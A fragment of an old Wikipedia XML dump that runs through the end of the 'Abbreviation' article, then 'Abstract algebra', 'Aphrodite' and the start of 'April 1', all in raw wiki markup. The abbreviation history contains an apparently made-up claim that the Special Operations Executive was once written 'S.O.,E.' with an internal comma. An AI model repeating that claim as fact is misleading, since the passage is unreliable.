* Use of periods (full stops) and spaces, for example when abbreviating United States, should one write &quot;US&quot;, &quot;U.S.&quot; or &quot;U.&amp;nbsp;S.&quot;?   Spaces are generally not used between single letter abbreviations of words in the same phrase, so one almost never encounters &quot;U.&amp;nbsp;S.&quot;. In [[American English]], the period is usually added if the abbreviation may be interpreted as a word, though some American writers do not use a period here.  There is no stop/period between letters of the same word, for example St. and not S.t. for Saint. While users of [[British English]] often abbreviate in the same manner, it is more common in formal writing that abbreviations are written with full stops if the word has been cut at the point of abbreviation (''e.g.,'' &quot;Street&quot; &amp;ndash; &quot;St[reet]&quot; &amp;ndash; becomes &quot;St.&quot;), but not otherwise (''e.g.,'' &quot;Saint&quot; &amp;ndash; &quot;S[ain]t&quot; &amp;ndash; becomes &quot;St&quot;); a third standard removes the full stops from all abbreviations (''e.g.,'' both &quot;Saint&quot; and &quot;Street&quot; become &quot;St&quot;).  Thus in the [[United Kingdom]], titles such as &quot;Doctor&quot;, &quot;Mister&quot; and &quot;Mis'ess&quot; are commonly abbreviated as &quot;Dr&quot;, &quot;Mr&quot;, and &quot;Mrs&quot; respectively, they are also frequently written, as in Canada and the U.S., as &quot;Dr.&quot;, &quot;Mr.&quot; and &quot;Mrs.&quot; &lt;!--British English does not have a single standard. See [[American and British English differences]]--&gt; 
* [[Acronym]]s that were originally capitalized (with or without periods) but have since &quot;stood the test of time&quot; by entering the vocabulary as generic words are no longer abbreviated with capital letters nor with any periods&amp;mdash;''e.g.,'' [[sonar]], [[radar]], [[ladar]], [[laser]], and [[scuba]].
* Whether to add an apostrophe for a plural where the plural is not formed by doubling up the last letter: should one write CDs or CD's?  The apostrophe is not needed grammatically but sometimes is added to make it clear that the ''s'' is not part of the abbreviation.  Because the apostrophe most often represents possession or a contraction, some style guides prefer that it not be used at all with abbreviations, but only with individual ''letters''&amp;mdash;&quot;Dot all your i's and cross all your t's!&quot; or &quot;Mind your p's and q's!&quot;&amp;mdash;or ''numbers''&amp;mdash;&quot;The dyslexic student mixes up his S's and 5's.&quot;  Thus numbers, such as decades, that are understood to ''represent'' other concepts, are not written with apostrophes either&amp;mdash;''e.g.,'' &quot;The U.S. enjoyed an economic boom in the 1990s and the Roaring ’20s&quot;, referring to decades, or &quot;I am going to the bank to exchange four 5's for two 10's&quot;, where the 5's and 10's refer to banknotes.

Conventions followed by publications and newspapers:
* Publications based in the United States tend to follow the style guides of the [[Chicago Manual of Style]] and the [[Associated Press]].  The [[U.S. Government]] follows a style guide published by the [[U.S. Government Printing Office]].
** There is some inconsistency in abbreviation styles, however, as they are not rigorously defined by style guides. Some two-word abbreviations, like &quot;United Nations&quot;, are abbreviated with uppercase letters and periods, and others, like &quot;personal computer&quot; (PC) and &quot;compact disc&quot; (CD), are not; rather, they are typically abbreviated without periods and in uppercase letters. A third variation is to use lowercase letters with periods; this is used by Time Magazine in abbreviating &quot;public relations&quot; (p.r.). Moreover, even three-word abbreviations (most U.S. publications use uppercase abbreviations without periods) are sometimes not consistently abbreviated, even within the same article. 
** ''[[The New York Times]]'' is unique in having a consistent style by always abbreviating with periods: P.C., I.B.M., P.R. This is in contrast with the trend of British publications to completely make do without periods for convenience.   

* Many British publications follow some of these guidelines in abbreviation:
** For the sake of convenience, many British publications, including the [[BBC]] and ''[[The Guardian]]'', have completely done away with the use of full stops or periods in all abbreviations. These include:
*** Social titles, like Ms or Mr (though these would not have had full stops in any case &amp;mdash; see above) Capt, Prof, ''etc.;''
*** Two-letter abbreviations for countries (US, not U.S.);
*** Words are seldom abbreviated with lower case letters (PR, instead of p.r., or pr) 
*** Abbreviations beyond three letters (full caps for all except initialisms); 
*** Names (''e.g.,'' FW de Klerk, GB Whiteley, Park JS). A notable exception is the ''Economist'' (''e.g.,'' Mr F. W. de Klerk) 
*** Scientific units. 
** [[Acronym]]s are referred to with only the first letter of the abbreviation capitalised. For instance, the [[North Atlantic Treaty Organisation]] can be abbreviated as Nato, and [[Severe Acute Respiratory Syndrome]] as Sars. [[Initialism]]s (which are similar to acronyms but which are not pronounced as words) are always written in capitals, for instance the British Broadcasting Corporation is abbreviated to BBC, never Bbc.
** When abbreviating scientific units, no space is added between the number and unit (''e.g.,'' 100mph, 100m, 10cm, 10ºC). 

Miscellaneous and general rules
* Plurals are often formed by doubling up the last letter of the abbreviation. Most of these deal with writing and publishing: MS=manuscript, MSS=manuscripts; l=line, ll=lines; p=page, pp=pages; s=section, ss=sections; op.=opus, opp.=opera). This form, derived from [[Latin]] is used in Europe in many places:  dd=[[didot]]s. &quot;The following (lines or pages)&quot; is denoted by ff. One example that does not concern printing is hh=[[hand (unit)|hand]]s. 
* A doubled letter also appears in abbreviations of some Welsh names, as in [[Welsh language|Welsh]] the double &quot;l&quot; is a separate sound: &quot;Ll. George&quot; for (British prime minister) [[Lloyd George]]. 
* Some titles, such as &quot;Reverend&quot; and &quot;Honourable&quot;, are spelt out when preceded by &quot;the&quot;, rather than as &quot;Rev.&quot; or &quot;Hon.&quot; respectively. This is true for most British publications, and some in the United States.
* It is usually advised to spell out the abbreviation where it is new or unfamiliar to the reader (''e.g.,'' UNESCO in a magazine about ''music,'' because it more frequently refers to another entity in another context, the &lt;u&gt;U&lt;/u&gt;nited &lt;u&gt;N&lt;/u&gt;ations &lt;u&gt;E&lt;/u&gt;ducational, &lt;u&gt;S&lt;/u&gt;cientific and &lt;u&gt;C&lt;/u&gt;ultural &lt;u&gt;O&lt;/u&gt;rganization).

==History== 
After [[World War II]], the British greatly reduced their use of the full stop and other punctuations after abbreviations in at least semi-formal writing, while the Americans more readily kept its use until more recently, and still maintain it more than Britons. The classic example, considered by their American counterparts quite curious, was the maintenance of the internal comma in a British organization of secret agents called the &quot;Special Operations, Executive&quot; &amp;ndash; &quot;S.O.,E.&quot; &amp;ndash; which is not found in histories written after about 1960.  

But before that, many Britons were more scrupulous at maintaining the French form. In [[French language|French]], the period only follows an abbreviation if the last letter in the abbreviation is ''not'' the last letter of its antecedent:  &quot;M.&quot; is the abbreviation for &quot;''monsieur''&quot; while &quot;Mme&quot; is that for &quot;''Madame''&quot; and &quot;Mlle&quot; for &quot;''Mademoiselle''&quot;. Like many other cross-[[English Channel|channel]] linguistic acquisitions, many Britons readily took this up and followed this rule themselves, while the Americans took a simpler rule and applied it rigorously.

Over the years, however, the lack of convention in some style guides has made it difficult to determine which two-word abbreviations should be abbreviated with periods and which should not. The U.S. media tend to abbreviate two-word abbreviations like United States (U.S.), but surprisingly, not personal computer (PC) or television (TV), which is a source of confusion. Many British publications have gradually done away with the use of periods in abbreviations completely.

==Examples==
*[[List of classical abbreviations]]
*[[List of mediaeval abbreviations]]
*[[List of abbreviations in use in 1911]]
*[[List of acronyms and initialisms]]
*[[Wiktionary:Wiktionary:Abbreviations in Webster|The abbreviations used in the 1913 edition of Webster's dictionary]]



==See also==
*[[List of syllabic abbreviations]]
*[[Neologism]], word, term, or phrase which has been recently created
*[[Internet slang]], [[list of computing and IT abbreviations]], [[list of medical abbreviations]], [[list of government and military acronyms]], [[Wikipedia:Abbreviations used in CIA World Factbook|abbreviations used in CIA World Factbook]],
*[[ISO language code]], [[ISO country code]].
*[[Ditloid]]

== External links ==
{{wiktionarypar|abbreviation}}
{{Wikisource1911Enc|Abbreviation}}
* [http://www.abbreviationz.com/ AbbreviationZ] acronyms, abbreviations &amp; Initialisms directory.
* [http://www.acronyma.com/ Acronyma]&amp;mdash;large database of acronyms and abbreviations (over 450,000 entries)
* [http://www.acronymfinder.com/ Acronym Finder]&amp;mdash;searchable acronyms and abbreviations site (over 470,000 entries)
* [http://www.special-dictionary.com/acronyms/ Special Dictionary]&amp;mdash;large abbreviation, acronym and initialism database with lookup function.
* [http://www.aresearchguide.com/comabb.html Common, Uncommon and Specialized Abbreviations]


[[Category:Abbreviations]]

[[cs:Zkratka]]
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[[de:Abkürzung]]
[[es:Abreviatura]]
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[[lb:Ofkierzung]]
[[hu:Rövidítés]]
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    <title>Abstract algebra</title>
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      <text xml:space="preserve">:''This article is about the branch of mathematics. For other uses of the term &quot;algebra&quot; see [[algebra (disambiguation)]].''

'''Abstract algebra''' is the field of [[mathematics]] concerned with the study of [[algebraic structure]]s such as [[group (mathematics)|groups]], [[ring (mathematics)|rings]], [[field (mathematics)|fields]], [[module (mathematics)|modules]], [[vector space]]s, and [[algebra over a field|algebras]]. Many of these structures were defined formally in the nineteenth century, and, indeed, the study of abstract algebra was motivated by the need for more rigor in mathematics.  The study of abstract algebra has brought into full view intricacies of the logical assumptions on which the whole of mathematics and the natural sciences are built, and today there is scarcely a branch of mathematics which doesn't utilize the results of algebra.  What's more, in the course of study, algebraists discovered that apparently diverse logical structures can very often be brought by analogy to a very small core of axioms.  This grants the mathematician who has learned algebra a deep sight, and empowers him broadly.

The term ''abstract algebra'' is used to distinguish the field from &quot;[[elementary algebra]]&quot; or &quot;high school algebra&quot;, which teach the correct rules for manipulating formulas and algebraic expressions involving [[real numbers|real]] and [[complex number]]s, and [[unknown]]s. Abstract algebra was at times in the first half of the [[twentieth century]] known as '''modern algebra'''.

The term '''abstract algebra''' is sometimes used in [[universal algebra]] where most authors use simply the term &quot;algebra&quot;. 

== History and examples ==

Historically, algebraic structures usually arose first in some other field of mathematics, were specified axiomatically, and were then studied in their own right in abstract algebra. Because of this, abstract algebra has numerous fruitful connections to all other branches of mathematics.

Examples of algebraic structures with a single [[binary operation]] are:

* [[magma (algebra)|magmas]],
* [[quasigroup]]s,
* [[monoid]]s, [[semigroup]]s and, most important, [[group (mathematics)|groups]].

More complicated examples include:

* [[ring (mathematics)|rings]] and [[field (mathematics)|fields]]
* [[module (mathematics)|modules]] and [[vector space]]s
* [[algebra over a field|algebras over fields]]
* [[associative algebra]]s and [[Lie algebra]]s
* [[lattice (order)|lattice]]s and [[Boolean algebra]]s

In [[universal algebra]], all those definitions and facts are collected that apply to all algebraic structures alike. All the above classes of objects, together with the proper notion of [[homomorphism]], form [[category theory|categories]], and category theory frequently provides the formalism for translating between and comparing different algebraic structures.

==An example==
The systematic study of algebra has allowed mathematicians to bring under a common logical description apparently disparate conceptions.  For example, consider two rather distinct operations: the composition of [[function composition|functions]], f(g(x)), and the multiplication of [[matrix multiplication|matrices]], AB.  These two operations are, in fact, the same.  To see this, think about multiplying two square matrices (AB) by a one-column vector, x.  This, in fact, defines a function that is equivalent to composing Ay with Bx:  Ay = A(Bx) = (AB)x.  Functions under composition and matrices under multiplication form sets called [[monoid]]s; a monoid under an operation is associative for all its elements ( (ab)c = a(bc) ) and contains an element e such that, for any a, ae = ea = a. 

==See also==
* [[List of publications in mathematics#Abstract algebra| Important publications in abstract algebra]]

==Further reading==
* {{cite book | author=Sethuraman, B. A. | title=Rings, Fields, Vector Spaces, and Group Theory: An Introduction to Abstract Algebra via Geometric Constructibility | publisher=Springer | year=1996 | id=ISBN 0-387-94848-1}}

==External links==
{{book}}
* John Beachy: ''[http://www.math.niu.edu/~beachy/aaol/contents.html Abstract Algebra On Line]'', Comprehensive list of definitions and theorems.
* Joseph Mileti: ''Mathematics Museum: [http://www.math.uchicago.edu/~mileti/museum/algebra.html Abstract Algebra]'', A good introduction to the subject in real-life terms.

{{Mathematics-footer}}

[[Category:Abstract algebra|*Abstract algebra]]

[[ar:جبر تجريدي]]
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[[de:Abstrakte Algebra]]
[[es:Álgebra abstracta]]
[[fa:جبر مجرد]]
[[fr:Algèbre abstraite]]
[[ko:추상대수학]]
[[io:Abstrakta algebro]]
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[[zh:抽象代数]]</text>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.138.180.35|202.138.180.35]] ([[User talk:202.138.180.35|talk]]) to last version by Adam Bishop</comment>
      <text xml:space="preserve">&lt;!-- Image with unknown copyright status removed: [[Image:Aphrodite (Greek Mythology).jpg|thumb|Aphrodite, [[Ancient Greece|Greek]] goddess of love and beauty,and the patroness of physical love.]] --&gt;

{{otheruses}}
'''Aphrodite''' ([[Wikipedia:Manual of Style (pronunciation)/IPA vs. other pronunciation symbols#Chart|World Book]] ''«AF roh DY tee»'') ( {{unicode|&amp;#x1F08;}}&amp;#966;&amp;#961;&amp;#959;&amp;#948;&amp;#943;&amp;#964;&amp;#951;, &quot;risen from sea-foam&quot;) is the [[Greek mythology|Greek]] [[goddess]] of [[love]] and [[beauty]].

== Worship ==
{{Greek myth (Olympian)}}
The epithet ''Aphrodite Acidalia'' was occasionally added to her name, after the spring she used to bathe in, located in [[Boeotia]] ([[Virgil]] I, 720).  She was also called ''Kypris'' or ''Cytherea'' after her alleged birth-places in [[Cyprus]] and [[Cythera]], respectively.  The island of Cythera was a center of her cult.  She was associated with [[Hesperia]] and frequently accompanied by the [[Oread]]s, [[nymph]]s of the mountains.

Aphrodite had a festival of her own, the Aphrodisiac, which was celebrated all over Greece but particularly in [[Athens, Greece|Athens]] and [[Corinth, Greece|Corinth]].  In Corinth, intercourse with her priestesses was considered a method of worshipping Aphrodite.

Aphrodite was associated with, and often depicted with [[dolphin]]s, [[dove]]s, [[swan]]s, [[pomegranate]]s,[[apples]], [[myrtle]], [[rose]] and [[Lime (Citrus aurantifolia)|lime]] trees.

Her Roman analogue is [[Venus (mythology)|Venus]].  Her [[Mesopotamia|Mesopotamian]] counterpart was [[Ishtar]]. Her Egyptian counterpart is [[Hathor]], and her Syro-Palestinian counterpart was [[`Ashtart|&amp;#8216;Ashtart]] (in standard Greek spelling ''Astarte''); her [[Etruscan mythology|Etruscan]] equivalent was [[Turan (mythology)|Turan]].

Venus was often referred to with epithet [[Venus Erycina]] (&quot;of the heather&quot;) after [[Mount Eryx]], [[Sicily]], one of the centers of her cult.

== Birth ==

[[Image:Bouguereau venus detail.jpg|115px|thumb|right|Aphrodite rising from the sea foam in birth, crowned with luxuriant tresses, as depicted in the [[19th century]] by [[William-Adolphe Bouguereau]] in his [[1879]] ''Birth of Venus'' (the [[Rome|Roman]] name for Aphrodite).]]

&quot;Foam-arisen&quot; Aphrodite was born of the sea foam near [[Paphos]], Cyprus after [[Cronus]] cut off [[Uranus (mythology)|Uranus]]' genitals and Cronus threw the penis into the sea. [[Hesiod's Theogony]] described that the genitals &quot;were carried over the sea a long time, and white foam arose from the immortal flesh; with a girl grew&quot; to become Aphrodite.  Thus Aphrodite is of an older generation than Zeus. ''[[Iliad]]'' (Book V) expresses another version of her origin, by which she was considered a daughter of [[Dione (mythology)|Dione]], who was the original oracular goddess (&quot;Dione&quot; being simply &quot;the goddess,&quot; etymologically an equivalent of &quot;[[Diana (mythology)|Diana]]&quot;) at [[Dodona]]. In Homer, Aphrodite, venturing into battle to protect her son, [[Aeneas]], who has been wounded by [[Diomedes]] and returns to her mother, to sink down at her knee and be comforted.  &quot;Dione&quot; seems to be an equivalent of Rhea, the [[Earth Mother]], whom Homer has relocated to Olympus. After this story, Aphrodite herself was sometimes referred to as &quot;Dione&quot;. Once [[Zeus]] had usurped the oak-grove oracle at Dodona, some poets made him out to be the father of Aphrodite.

Aphrodite's chief center of worship remained at Paphos, on the south-western coast of Cyprus, where the goddess of desire had long been worshipped as [[Ishtar]] and [[Ashtaroth]].  It is said that she first tentatively came ashore at [[Cytherea]], a stopping place for trade and culture between [[Crete]] and the [[Peloponnese|Peloponesus]].  Thus perhaps we have hints of the track of Aphrodite's original cult from the [[Levant]] to mainland [[Greece]]. 

In [[Plato]]'s ''[[Symposium]]'' the speech of Pausanias distinguishes two manifestations of Aphrodite, represented by the two stories: Aphrodite Ourania (&quot;heavenly&quot; Aphrodite), and Aphrodite Pandemos (&quot;Common&quot; Aphrodite). These two manifestations represented her role in homosexuality and heterosexuality, respectively. 

Alternatively, Aphrodite was a daughter of [[Thalassa]] (for she was born of the Sea) and [[Zeus]].

== Adulthood ==
Aphrodite, in many of the myths involving her, is characterized as vain, ill-tempered and easily offended. Though she is one of the few gods of the [[List of Greek mythological characters|Greek Pantheon]] to be actually married, she is frequently unfaithful to her husband. [[Hephaestus]], of course, is one of the most even-tempered of the Hellenic deities; Aphrodite seems to prefer [[Ares]], the volatile god of war. In [[Homer]]'s [[Iliad]] she surges into battle to save her son, but abandons him (in fact, drops him as she flies through the air) when she herself is hurt (Ares does much the same thing&lt;!-- I doubt this tidbit, originally included really happened: , and [[Zeus]] eventually sends him to his room without supper --&gt;). And she is the original cause of the [[Trojan War]] itself: not only did she start the whole affair by offering [[Helen]] of [[Troy]] to [[Paris (mythology)|Paris]], but the abduction was accomplished when Paris, seeing Helen for the first time, was inflamed with desire to have her&amp;mdash;which is Aphrodite's realm.  Her domain may involve love, but it does not involve [[Romantic_love|romance]]; rather, it tends more towards [[lust]], the human irrational longing.

=== Marriage with Hephaestus ===
Due to her immense beauty, Zeus was frightened she'd be the cause of violence between the other gods. He married her off to [[Hephaestus]], the dour, humorless god of smithing. Hephaestus was overjoyed at being married to the goddess of beauty and forged her beautiful jewelry, including the cestus, a [[girdle]] that made her even more irresistible to men. Her unhappiness with her marriage caused Aphrodite to seek out companionship from others, most frequently [[Ares]], but also [[Adonis]], [[Anchises]] and more. Hephaestus once cleverly caught Ares and Aphrodite in bed with finely wrought chains, and brought all the other Olympian gods together to mock the pair (however, the &quot;goddesses stayed at home, all of them for shame.&quot;) Hephaestus would not free them until [[Poseidon]] promised Hephaestus that Ares would pay reparations, but both escaped as soon as the chains were lifted and their promise was not kept.

=== Aphrodite and Psyche ===
Aphrodite was jealous of the beauty of a mortal woman named [[Psyche]]. She asked [[Eros (mythology)|Eros]] to use his golden arrows to cause Psyche to fall in love with the ugliest man on earth.  Eros agreed but then fell in love with Psyche on his own, or by accidentally pricking himself with a golden arrow.  Meanwhile, Psyche's parents were anxious that their daughter remained unmarried. They consulted an [[oracle]] who told them she was destined for no mortal lover, but a monster who lived on top of a particular mountain.  Psyche was resigned to her fate and climbed to the top of the mountain. There, [[Zephyrus]], the west wind, gently floated her downwards. She entered a cave on the appointed mountain, surprised to find it full of jewellery and finery. Eros visited her every night in the cave and they made love; he demanded only that she never light any lamps because he did not want her to know who he was (having wings made him distinctive).  Her two sisters, jealous of Psyche, convinced her to do so one night and she lit a lamp, recognizing him instantly.  A drop of hot lamp oil fell on Eros' chest and he awoke, then fled.  

When Psyche told her two jealous elder sisters what had happened; they rejoiced secretly and each separately walked to the top of the mountain and did as Psyche described her entry to the cave, hoping Eros would pick them instead.  Zephyrus did not pick them and they fell to their deaths at the base of the mountain.

Psyche searched for her lover across much of Greece, finally stumbling into a temple to [[Demeter]], where the floor was covered with piles of mixed grains. She started sorting the grains into organized piles and, when she finished, Demeter spoke to her, telling her that the best way to find Eros was to find his mother, Aphrodite, and earn her blessing. Psyche found a temple to Aphrodite and entered it. Aphrodite assigned her a similar task to Demeter's temple, but gave her an impossible deadline to finish it by. Eros intervened, for he still loved her, and caused some ants to organize the grains for her. Aphrodite was outraged at her success and told her to go to a field where golden sheep grazed and get some golden wool. Psyche went to the field and saw the sheep but was stopped by a river-god, whose river she had to cross to enter the field.  He told her the sheep were mean and vicious and would kill her, but if she waited until noontime, the sheep would go the shade on the other side of the field and sleep; she could pick the wool that stuck to the branches and bark of the trees.  Psyche did so and Aphrodite was even more outraged at her survival and success. Finally, Aphrodite claimed that the stress of caring for her son, depressed and ill as a result of Psyche's unfaithfulness, had caused her to lose some of her beauty.  Psyche was to go to [[Hades]] and ask [[Persephone]], the queen of the underworld, for a bit of her beauty in a black box that Aphrodite gave to Psyche. Psyche walked to a tower, deciding that the quickest way to the underworld would be to die.  A voice stopped her at the last moment and told her a route that would allow her to enter and return still living, as well as telling her how to pass [[Cerberus]], [[Charon (mythology)|Charon]] and the other dangers of the route.  She pacified Cerberus, the three-headed dog, with a sweet honey-cake and paid Charon an [[obolus]] to take her into Hades. On the way there, she saw hands reaching out of the water. A voice told her to toss a honey cake to them. Once there, Persephone said she would be glad to do do Aphrodite a favor. She once more paid Charon, threw the cake out to the hands, and gave one to Cerberus.

Psyche left the underworld and decided to open the box and take a little bit of the beauty for herself, thinking that if she did so Eros would surely love her. Inside was a &quot;[[Wiktionary:stygian|Stygian]] sleep&quot; which overtook her.  Eros, who had forgiven her, flew to her body and wiped the sleep from her eyes, then begged Zeus and Aphrodite for their consent to his wedding of Psyche. They agreed and Zeus made her immortal. Aphrodite danced at the wedding of Eros and Psyche and their subsequent child was named Pleasure, or (in the Roman mythology) [[Volupta]].

=== Adonis ===
Aphrodite was [[Adonis]]' lover and had a part in his birth. She urged [[Myrrha]] or Smyrna to commit [[incest]] with her father, [[Theias]], the King of [[Assyria]]. Another version says Myrrha's father was [[Cinyras]] of [[Cyprus]]. Myrrha's nurse helped with the scheme. When Theias discovered this, he flew into a rage, chasing his daughter with a knife. The gods turned her into a [[myrrh]] tree and Adonis eventually sprang from this tree. Alternatively, Aphrodite turned her into a tree and Adonis was born when Theias shot the tree with an arrow or when a boar used its tusks to tear the tree's bark off.

Once Adonis was born, Aphrodite took him under her wing, seducing him with the help of [[Helene (mythology)|Helene]], her friend, and was entranced by his unearthly beauty. She gave him to [[Persephone]] to watch over, but Persephone was also amazed at his beauty and refused to give him back. The argument between the two goddesses was settled either by [[Zeus]] or [[Calliope]], with Adonis spending four months with Aphrodite, four months with Persephone and four months of the years with whomever he chose. He always chose Aphrodite because Persephone was the cold, unfeeling goddess of the underworld.

Adonis was eventually killed by a jealous [[Ares]]. Aphrodite was warned of this jealousy and was told that Adonis would be killed by a bull that Ares transformed into.  She tried to persuade Adonis to stay with her at all times, but his love of hunting was his downfall. While Adonis was hunting, Ares found him and gored him to death. Aphrodite arrived just in time to hear his last breath.

It is also said that Aphrodite bore a daughter to Adonis, [[Beroe]].

=== The [[Judgement of Paris]] ===
The gods and goddesses as well as various mortals were invited to the marriage of [[Peleus]] and [[Thetis]] (the eventual parents of [[Achilles]]). Only the goddess [[Eris]] (Discord) was not invited, but she arrived with a golden [[apple]] inscribed with the words &quot;to the fairest,&quot; which she threw among the goddesses. Aphrodite, [[Hera]], and [[Athena]] all claimed the apple, and the matter was put before [[Paris (mythology)|Paris]], the most handsome mortal. Hera tried to bribe Paris with an earthly kingdom, while Athena offered great military skill, but Aphrodite was judged most beautiful when she offered Paris the most beautiful mortal woman as a wife. This woman was [[Helen]], and her abduction by Paris led to the [[Trojan War]].

=== Pygmalion and Galatea ===
[[Pygmalion (mythology)|Pygmalion]] was a sculptor who had never found a woman worthy of his love.  Aphrodite took pity on him and decided to show him the wonders of love. One day, Pygmalion was inspired by a dream of Aphrodite to make a woman out of [[ivory]] resembling her image, and he called her [[Galatea (mythology)|Galatea]]. He fell in love with the statue and decided he could not live without her. He prayed to Aphrodite, who carried out the final phase of her plan and brought the exquisite sculpture to life. Pygmalion loved Galatea and they were soon married.

Another version of this myth tells that the women of the village in which Pygmalion lived grew angry that he had not married. They all asked Aphrodite to force him to marry. Aphrodite accepted and went that very night to Pygmalion, and asked him to pick a woman to marry. She told him that if he did not pick one, she would do so for him. Not wanting to be married, he begged her for more time, asking that he be allowed to make a sculpture of Aphrodite before he had to choose his bride. Flattered, she accepted.

Pygmalion spent a lot of time making small clay sculptures of the Goddess, claiming it was needed so he could pick the right pose. As he started making the actual sculpture he was shocked to discover he actually wanted to finish, even though he knew he would have to marry someone when he finished. The reason he wanted to finish it was that he had fallen in love with the sculpture. The more he worked on it, the more it changed, until it no longer resembled Aphrodite at all.

At the very moment Pygmalion stepped away from the finished sculpture Aphrodite appeared and told him to choose his bride. Pygmalion chose the statue. Aphrodite told him that could not be, and asked him again to pick a bride. Pygmalion put his arms around the statue, and asked Aphrodite to turn him into a statue so he could be with her. Aphrodite took pity on him and brought the statue to life instead.

=== Other Stories ===
In one version of the story of [[Hippolytus (mythology)|Hippolytus]], Aphrodite was the catalyst for his death. He scorned the worship of Aphrodite for [[Artemis]] and, in revenge, Aphrodite caused his step-mother, [[Phaedra]], to fall in love with him, knowing Hippolytus would reject her. In the most popular version of the story, the play &quot;Hippolytus&quot; by [[Euripides]], Phaedra seeks revenge against Hippolytus by killing herself and, in her [[suicide note]], telling [[Theseus]], her husband and Hippolytus' father, that Hippolytus had raped her.  Theseus then murdered his own son before Artemis told him the truth.

King [[Glaucus]] of Corinth angered Aphrodite and she made her horses angry during the funeral games of King [[Pelias]]. They tore him apart. His ghost supposedly frightened horses during the [[Isthmian Games]]. 

Aphrodite was often accompanied by the [[Charites]].

In book III of [[Homer]]'s ''[[Iliad]]'', Aphrodite saves [[Paris]] when he is about to be killed by [[Menelaos]].

Aphrodite was very protective of her son, Aeneas, who fought in the [[Trojan War]]. [[Diomedes]] almost killed Aeneas in battle but Aphrodite saved him. Diomedes wounded Aphrodite and she dropped her son, fleeing to [[Mt. Olympus]]. Aeneas was then enveloped in a cloud by [[Artemis]], who took him to [[Pergamos (Troy)|Pergamos]], a sacred spot in [[Troy]]. [[Apollo]] healed Aeneas there. 

She turned [[Abas]] to stone for his pride.

She turned [[Anaxarete]] to stone for reacting so dispassionately to [[Iphis]]' pleas to love him, even after his suicide.

Aphrodite helps [[Hippomenes]] to win a footrace against [[Atalanta]] to win Atalanta's hand in marriage, giving him three golden apples to distract her with. However, when the couple fails to thank Aphrodite, she has them turned into lions (in other accounts they are turned into lions when either [[Zeus]] or [[Cybele]] find them having sex in their temple).

==Aphrodite in Neopaganism==
In many modern [[Neopaganism|Neopagan]] [[sect]]s, particularly [[New Age]] ''Hellenistic'' sects in the [[United States]], Aphrodite takes on the role of the goddess of passion. Not all passion Aphrodite inspires is lustful, much of it is believed to take the form of artistic passion and even passion in argument. Worship of Aphrodite is uncommon and is typically held by individual writers and artists. How she is worshipped often depends on what other gods a sect includes. For example, sects that worship [[Hera]] and/or [[Themis]] may include worship of Aphrodite, but encourage monogamy and stress her role in committed relationships and marriage. Sects that worship [[Dionysus]] and Aphrodite may be entirely hedonistic and include orgiastic rituals (such sects are often considered cults even by Neopagan standards). As such worship of Aphrodite varies between sects.

==Consorts and children==
* Deities
** [[Ares]]
*** [[Anteros]]
*** [[Eros (mythology)|Eros]] (Love)
*** [[Harmonia (Greek_goddess)|Harmonia]] (Harmony)
*** [[Himeros]]
***[[Deimos (mythology)|Deimos]] (Dread)
***[[Phobos (mythology)|Phobos]] (Fright)
** [[Dionysus]]
*** [[Charites]]
**** [[Aglaea]]
**** [[Euphrosyne]]
**** [[Thalia]]
*** [[Hymenaios]]
*** [[Priapus]]
** [[Hephaestus]]
** [[Hermes]]
*** [[Eunomia]]
*** [[Hermaphroditus]]
*** [[Peitho]]
*** [[Rhodos]]
*** [[Tyche]]
* Mortals
** [[Adonis]]
** [[Anchises]]
*** [[Aeneas]]
** [[Butes]]
*** [[Eryx]]

==Other names==
*''Acidalia''
*''Anadyomene'' - the emerging as in ''Aphrodite Anadyomene'', a painting by [[Apelles]]
*''[[Cytherea]]''
*''Despina''
*''Kypris''

==See also==
*[[Venus (mythology)|Venus]]
*[[Aphrodite of Knidos]]
*[[Venus de Milo]]

{{commons|Aphrodite}}

[[Category:Greek goddesses]]
[[Category:Love and lust goddesses]]
[[Category:Characters in the Iliad]]
&lt;!-- interwiki --&gt;

[[ar:أفروديت]]
[[bg:Афродита]]
[[be:Афрадыта]]
[[bs:Afrodita]]
[[ca:Afrodita]]
[[cs:Afrodíté]]
[[da:Afrodite]]
[[de:Aphrodite]]
[[et:Aphrodite]]
[[el:Αφροδίτη (μυθολογία)]]
[[es:Afrodita]]
[[eo:Afrodita]]
[[fr:Aphrodite]]
[[gl:Afrodita]]
[[ko:아프로디테]]
[[hr:Afrodita]]
[[ia:Aphrodite]]
[[is:Afródíta]]
[[it:Afrodite]]
[[he:אפרודיטה]]
[[la:Aphrodite]]
[[lt:Afroditė]]
[[lv:Afrodīte]]
[[lb:Aphrodite]]
[[hu:Aphrodité]]
[[nl:Aphrodite]]
[[ja:アプロディテ]]
[[no:Afrodite]]
[[pl:Afrodyta]]
[[pt:Afrodite]]
[[ro:Afrodita]]
[[ru:Афродита]]
[[simple:Aphrodite]]
[[sk:Afrodita]]
[[sl:Afrodita]]
[[sr:Афродита]]
[[fi:Afrodite]]
[[sv:Afrodite]]
[[tl:Aphrodite]]
[[uk:Афродіта]]
[[zh:阿佛洛狄德]]</text>
    </revision>
  </page>
  <page>
    <title>April 1</title>
    <id>1175</id>
    <revision>
      <id>41835935</id>
      <timestamp>2006-03-02T01:31:38Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <comment>/* Holidays and observances */</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=1}}
|}
'''April 1''' is the [[91 (number)|91st]] day of the year (92nd in [[leap year]]s) in the [[Gregorian calendar]], with 274 days remaining.
==Events==
*[[527]] - [[Byzantine Emperors|Byzantine Emperor]] [[Justin I]] names his nephew [[Justinian I]] as co-ruler and successor to the throne. 
*[[1318]] - [[Berwick-upon-Tweed]] is captured by the [[Scotland|Scottish]] from the [[England|English]]
*[[1572]] - The [[Geuzen|Watergeuzen]] succeeded in capturing [[Brielle|Den Briel]], effectively sealing off the [[Meuse River]] from the [[Spanish Empire|Spaniards]].
*[[1789]] - In [[New York City]], the [[United States House of Representatives]] holds its first  quorum and elects [[Frederick Muhlenberg]] of [[Pennsylvania]] as its first House Speaker.  
*[[1826]] - [[Samuel Morey]] patents the [[internal combustion engine]]. 
*[[1854]] - ''[[Hard Times]]'' begins serialisation in [[Charles Dickens]] magazine, ''Household Words''.  
*[[1857]] - [[Herman Melville]] publishes ''[[The Confidence-Man]]''.
*[[1865]] - [[American Civil War]]: [[Battle of Five Forks]] - In [[Petersburg, Virginia]], Confederate General [[Robert E. Lee]] begins his final offensive.  
*[[1867]] - [[Singapore]] becomes a British [[crown colony]].
